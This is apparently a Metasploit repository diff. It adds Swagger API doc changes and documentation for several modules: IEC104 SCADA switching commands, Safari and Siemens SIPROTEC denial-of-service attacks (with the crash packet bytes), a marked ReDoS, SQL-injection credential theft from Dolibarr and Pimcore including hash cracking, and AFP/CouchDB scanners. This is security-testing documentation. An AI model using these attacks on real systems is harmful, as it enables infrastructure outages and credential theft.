|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/vuln-attempts/{id}' do
|
||||
# Swagger documentation for api/v1/vuln-attempts/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific vuln attempt that is stored in the database.'
|
||||
key :tags, [ 'vuln_attempt' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of vuln attempt to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns vuln attempt data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -34,12 +34,28 @@ module WorkspaceApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns workspace data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/workspaces POST
|
||||
|
@ -58,10 +74,25 @@ module WorkspaceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -74,14 +105,30 @@ module WorkspaceApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted workspaces.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -103,12 +150,25 @@ module WorkspaceApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns workspace data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/workspaces/:id PUT
|
||||
|
@ -129,12 +189,27 @@ module WorkspaceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,120 @@
|
|||
# IEC104 Client for Metasploit
|
||||
|
||||
## Definition
|
||||
|
||||
IEC 60870 part 5 is one of the IEC 60870 set of standards which define systems used for telecontrol (supervisory control and data acquisition) in electrical engineering and power system automation applications. Part 5 provides a communication profile for sending basic telecontrol messages between two systems, which uses permanent directly connected data circuits between the systems. The IEC Technical Committee 57 (Working Group 03) have developed a protocol standard for telecontrol, teleprotection, and associated telecommunications for electric power systems. The result of this work is IEC 60870-5. Five documents specify the base IEC 60870-5:
|
||||
|
||||
IEC 60870-5-104 (IEC 104) protocol is an extension of IEC 101 protocol with the changes in transport, network, link & physical layer services to suit the complete network access. The standard uses an open TCP/IP interface to network to have connectivity to the LAN (Local Area Network) and routers with different facility (ISDN, X.25, Frame relay etc.) can be used to connect to the WAN (Wide Area Network). Application layer of IEC 104 is preserved same as that of IEC 101 with some of the data types and facilities not used. There are two separate link layers defined in the standard, which is suitable for data transfer over Ethernet & serial line (PPP - Point-to-Point Protocol). The control field data of IEC104 contains various types of mechanisms for effective handling of network data synchronization.
|
||||
|
||||
## Install
|
||||
Create a new folder for the IEC104 module, place script in new folder
|
||||
|
||||
```
|
||||
mkdir -p $HOME/.msf4/modules/auxiliary/client/iec104
|
||||
cp iec104.rb $HOME/.msf4/modules/auxiliary/client/iec104/
|
||||
```
|
||||
|
||||
## Usage
|
||||
### Selection of module in msfconsole
|
||||
```
|
||||
msf > use auxiliary/client/iec104/iec104
|
||||
```
|
||||
|
||||
### Show module options
|
||||
```
|
||||
msf auxiliary(client/iec104/iec104) > show options
|
||||
|
||||
Module options (auxiliary/client/iec104/iec104):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ASDU_ADDRESS 1 yes Common Address of ASDU
|
||||
COMMAND_ADDRESS 0 yes Command Address / IOA Address
|
||||
COMMAND_TYPE 100 yes Command Type
|
||||
COMMAND_VALUE 20 yes Command Value
|
||||
ORIGINATOR_ADDRESS 0 yes Originator Address
|
||||
RHOST yes The target address
|
||||
RPORT 2404 yes The target port (TCP)
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
SEND_COMMAND Send command to device
|
||||
```
|
||||
|
||||
### Usage Examples
|
||||
Example of sending IEC104 general interrogation command
|
||||
This is using thde default setting for command type, address and value, this is connecting to an local IEC104 server simulator for demo purposes
|
||||
```
|
||||
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf auxiliary(client/iec104/iec104) > run
|
||||
|
||||
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
|
||||
[*] 127.0.0.1:2404 - Sending 104 command
|
||||
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
|
||||
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
|
||||
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
|
||||
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
|
||||
[+] 127.0.0.1:2404 - IOA: 1 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - IOA: 2 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x01
|
||||
[+] 127.0.0.1:2404 - IOA: 4 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
|
||||
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
|
||||
[+] 127.0.0.1:2404 - IOA: 7 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - Parsing response: Double point information (M_DP_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0006
|
||||
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
|
||||
[+] 127.0.0.1:2404 - IOA: 6 SIQ: 0x02
|
||||
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0008
|
||||
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
|
||||
[*] 127.0.0.1:2404 - operation ended
|
||||
[*] 127.0.0.1:2404 - Terminating Connection
|
||||
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(client/iec104/iec104) >
|
||||
```
|
||||
|
||||
Example sending switching command
|
||||
IOA address to be switched is "5", the command type is a double command "46", command is for switching off without time value "5"
|
||||
Using local IEC 104 server simulator
|
||||
|
||||
```
|
||||
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf auxiliary(client/iec104/iec104) > set command_address 5
|
||||
command_address => 5
|
||||
msf auxiliary(client/iec104/iec104) > set command_type 46
|
||||
command_type => 46
|
||||
msf auxiliary(client/iec104/iec104) > set command_value 5
|
||||
command_value => 5
|
||||
msf auxiliary(client/iec104/iec104) > run
|
||||
|
||||
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
|
||||
[*] 127.0.0.1:2404 - Sending 104 command
|
||||
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
|
||||
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
|
||||
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
|
||||
[+] 127.0.0.1:2404 - Parsing response: Single point information with time (M_SP_TB_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
|
||||
[+] 127.0.0.1:2404 - CauseTx: 03 (Spontaneous)
|
||||
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - Timestamp: 2018-03-30 21:39:52.930
|
||||
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
|
||||
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
|
||||
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
|
||||
[*] 127.0.0.1:2404 - operation ended
|
||||
[*] 127.0.0.1:2404 - Terminating Connection
|
||||
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(client/iec104/iec104) >
|
||||
```
|
|
@ -0,0 +1,31 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in Safari WebKit to crash the device.
|
||||
The bug affects all iOS devices running iOS 9 up to iOS 12 and Safari on OSX 10.13.6
|
||||
|
||||
The device will "re-spring" the operating system, but not actually restart the device.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur`
|
||||
1. Do: `set URIPATH /` (Optional)
|
||||
1. Do: `run`
|
||||
1. When you visit the page on a vulnerable device, it should crash the operating system
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Safari 602.1 on iOS 10.1.1
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
|
||||
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > run
|
||||
|
||||
[*] Using URL: http://0.0.0.0:8080/
|
||||
[*] Local IP: http://192.168.0.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.0.2: Sending response to User-Agent: Mozilla/5.0 (iPod touch; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B150 Safari/602.1
|
||||
|
||||
```
|
|
@ -0,0 +1,84 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
|
||||
Versions before 0.3.19 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and passes untrusted input
|
||||
to the module will be vulnerable.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `marked`, run:
|
||||
```
|
||||
npm i marked@0.3.19
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
|
||||
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/marked_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `set HTTP_METHOD get` (optional)
|
||||
12. `set HTTP_PARAMETER foo` (required)
|
||||
13. `set TARGETURI /path/to/vulnerable/route` (optional)
|
||||
14. `run`.
|
||||
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### marked npm module version 0.3.19
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express body-parser
|
||||
// npm i marked@0.3.19 (vulnerable)
|
||||
// npm i marked (non-vulnerable)
|
||||
|
||||
const marked = require('marked');
|
||||
const express = require('express');
|
||||
const bodyParser = require('body-parser');
|
||||
|
||||
var app = express();
|
||||
app.use(bodyParser.text({ type: 'text/html' }));
|
||||
|
||||
// create application/json parser
|
||||
const jsonParser = bodyParser.json();
|
||||
|
||||
// create application/x-www-form-urlencoded parser
|
||||
const urlencodedParser = bodyParser.urlencoded({ extended: false });
|
||||
|
||||
app.get("/", urlencodedParser, function(req, res) {
|
||||
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.post("/cat", urlencodedParser, function(req, res) {
|
||||
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
|
||||
```
|
|
@ -0,0 +1,74 @@
|
|||
## Description
|
||||
|
||||
This module sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) device. A manual reboot is required to return the device to service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Since this exploit hits the embedded software of a SCADA component, there is no vulnerable application for download on the web.
|
||||
You may check the vendor's website for additional information. (http://w3.siemens.com/smartgrid/global/en/products-systems-solutions/downloads/Pages/SIPROTEC-4-Downloads.aspx)
|
||||
You may also check the demo video: (https://drive.google.com/open?id=176ZC7nLJyJHGHPB3LbRxvLgArE9kOjPz)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Start ```msfconsole```
|
||||
- [ ] ```use auxiliary/dos/scada/siemens_siprotec4```
|
||||
- [ ] Set ```RHOST <TARGET>```, replacing ```<TARGET>``` with the IP address you wish to attack.
|
||||
- [ ] ```run```
|
||||
- [ ] Verify that you see ```[*] Sending DoS packet ...```
|
||||
- [ ] Verify that you see ```[*] Auxiliary module execution completed```
|
||||
- [ ] Verify that the exploit sends a specially crafted packet which contains ```11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E```
|
||||
|
||||
Document: (https://github.com/can/CVE-2015-5374-DoS-PoC/blob/master/README.md)
|
||||
Metasploit Module is written based on this exploit: (https://www.exploit-db.com/exploits/44103/)
|
||||
|
||||
## Options
|
||||
|
||||
```set RHOST <TARGET_IP>```, ```set RPORT <TARGET_PORT> (Default 50000)```.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf auxiliary(siemens_siprotec4) > info
|
||||
|
||||
Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module Denial of Service
|
||||
Module: auxiliary/dos/scada/siemens_siprotec4
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
M. Can Kurnaz
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST yes The target address
|
||||
RPORT 50000 yes The target port (UDP)
|
||||
|
||||
Description:
|
||||
This module sends a specially crafted packet to port 50000/UDP
|
||||
causing a denial of service of the affected (Siemens SIPROTEC 4 and
|
||||
SIPROTEC Compact < V4.25) devices. A manual reboot is required to return the
|
||||
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8
|
||||
have been assigned to this vulnerability.
|
||||
|
||||
References:
|
||||
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
|
||||
https://www.exploit-db.com/exploits/44103/
|
||||
|
||||
msf auxiliary(siemens_siprotec4) > show options
|
||||
|
||||
Module options (auxiliary/dos/scada/siemens_siprotec4):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST yes The target address
|
||||
RPORT 50000 yes The target port (UDP)
|
||||
|
||||
msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
|
||||
rhost => 192.168.1.61
|
||||
msf auxiliary(siemens_siprotec4) > run
|
||||
|
||||
[*] Sending DoS packet ...
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(siemens_siprotec4) >
|
||||
```
|
|
@ -0,0 +1,49 @@
|
|||
## Description
|
||||
|
||||
This module enables an authenticated user to collect usernames and encrypted passwords of other users of the ERP/CRM Dolibarr software via SQL injection.
|
||||
Checks in the Dolibarr software can be bypassed by url-encoding the SQL commands, provided that the commands do not contain quotes.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Dolibarr ERP/CRM Software versions < v7.0.2. Dolibarr v7.0.0 can be found [here](https://www.exploit-db.com/apps/04b0bb4b4864117b5bf47c0fcc737254-dolibarr-7.0.0.tar.gz).
|
||||
By default, user accounts do not have access to view the list of other users of the software. The admin account must first be used to enable the members page, create general users, and give those users permission to access the members page.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/gather/dolibarr_list_creds_sqli```
|
||||
4. Do: ```set RHOSTS [IP]```
|
||||
5. Do: ```set USERNAME [USER]```
|
||||
6. Do: ```set PASSWORD [PASS]```
|
||||
7. Do: ```set TARGETURI [URI]```
|
||||
8. Do: ```run```
|
||||
9. You should get a list of credentials
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Dolibarr v7.0.0 running on Ubuntu 18.04
|
||||
|
||||
```
|
||||
|
||||
msf5 > use auxiliary/gather/dolibarr_list_creds_sqli
|
||||
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set username test
|
||||
username => test
|
||||
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set password blah
|
||||
password => blah
|
||||
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set targeturi /dolibarr
|
||||
targeturi => /dolibarr
|
||||
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set rhosts 192.168.37.228
|
||||
rhosts => 192.168.37.228
|
||||
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > run
|
||||
|
||||
[*] Logging in...
|
||||
[+] Successfully logged into Dolibarr
|
||||
[+] Accessed credentials
|
||||
[+] user 8456167fd64d3cda366bda95088dda4d7ea94995
|
||||
[+] test 9d49884ec5f2c8431572a73e3285ceed3f0bdc5b
|
||||
[+] blahBlah e345d4aa5a6a63f828870b0d299dd921d119a5c7
|
||||
[+] someUser fe79b08f9f6a1104a141ff65047087a36d926f12
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,63 @@
|
|||
## Description
|
||||
|
||||
This module exploits a SQL injection vulnerability in Pimcore's REST web service for versions below 5.3.0. By using a UNION query on the `object inquire` service, this module can steal the usernames and password hashes of all users of Pimcore.
|
||||
|
||||
Pimcore begins to create password hashes by concatenating a user's username, the name of the application, and the user's password in the format `USERNAME:pimcore:PASSWORD`.
|
||||
The resulting string is then used to generate an MD5 hash, and then that MD5 hash is used to create the final hash, which is generated using PHP's built-in `password_hash` function.
|
||||
|
||||
The following is an example of cracking a retrieved hash using John the Ripper on OS X (`md5{,sum}` invocation may vary):
|
||||
|
||||
```
|
||||
wvu@kharak:~$ md5 -qs 'admin:pimcore:TrustNo1!!' | john --stdin <(echo 'admin:$2y$10$k6odZgiw2RnC1gbuD2/vRO21SxVuAeUiYYWwRtmYuNHYvZCzEX2Fy')
|
||||
Created directory: /Users/wvu/.john
|
||||
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
|
||||
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
|
||||
c28e017eec634579fd9309d08171c115 (admin)
|
||||
1g 0:00:00:00 14.28g/s 14.28p/s 14.28c/s 14.28C/s c28e017eec634579fd9309d08171c115
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
wvu@kharak:~$
|
||||
```
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Installing composer and running `php composer.phar create-project pimcore/pimcore=5.2.3 ./myproject --no-dev` will install Pimcore and most of its dependencies.
|
||||
The installation process will give notifications on missing PHP extensions that are required. Additionally, a web server and database must be set up.
|
||||
|
||||
Source for Pimcore v5.2.3 can also be found [here](https://www.exploit-db.com/apps/7c759b5b7f2896a7d5461582e149bcaa-pimcore-5.2.3.tar.gz)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/gather/pimcore_creds_sqli`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
5. Do: `set TARGETURI [URI]`
|
||||
6. Do: `set APIKEY [KEY]`
|
||||
7. Do: `run`
|
||||
8. You should get a list of Pimcore user credentials
|
||||
|
||||
## Options
|
||||
|
||||
**APIKEY**
|
||||
|
||||
Valid API key for accessing Pimcore's REST API in order to perform the injection.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Ubuntu 18.04.1 Running Pimcore v5.2.3
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/pimcore_creds_sqli
|
||||
msf5 auxiliary(gather/pimcore_creds_sqli) > set rhosts 192.168.37.246
|
||||
rhosts => 192.168.37.246
|
||||
msf5 auxiliary(gather/pimcore_creds_sqli) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
|
||||
apikey => 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
|
||||
msf5 auxiliary(gather/pimcore_creds_sqli) > run
|
||||
|
||||
[+] Credentials obtained:
|
||||
[+] admin : $2y$10$sBaD3EOAm/i1F3Mm/fwseeq3nyoacdlUt4NkVLZUgJ4FTReJSKIbe
|
||||
[+] secondUser : $2y$10$DYaFjrYnajTmVhhXSmsh8O5rLrQuPt8Q9Dto3vaQ4747K5kSvWEPy
|
||||
[+] blah : $2y$10$sJWr.puqXnF5T3DI3L1oqu3aIJRjUtHs9.2pgHEkevEdGrGvO1cBC
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
|
||||
Netatalk is a Linux implementation of AFP.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
|
||||
|
||||
1. `sudo apt-get install netatalk`
|
||||
2. edit `/etc/default/netatalk` and add the following lines:
|
||||
```
|
||||
ATALKD_RUN=no
|
||||
PAPD_RUN=no
|
||||
CNID_METAD_RUN=yes
|
||||
AFPD_RUN=yes
|
||||
TIMELORD_RUN=no
|
||||
A2BOOT_RUN=no
|
||||
```
|
||||
3. Restart the service: `sudo /etc/init.d/netatalk restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure afp (or netatalk in a Linux environment)
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/afp/afp_server_info`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > run
|
||||
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,73 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
|
||||
|
||||
1. `sudo apt install software-properties-common`
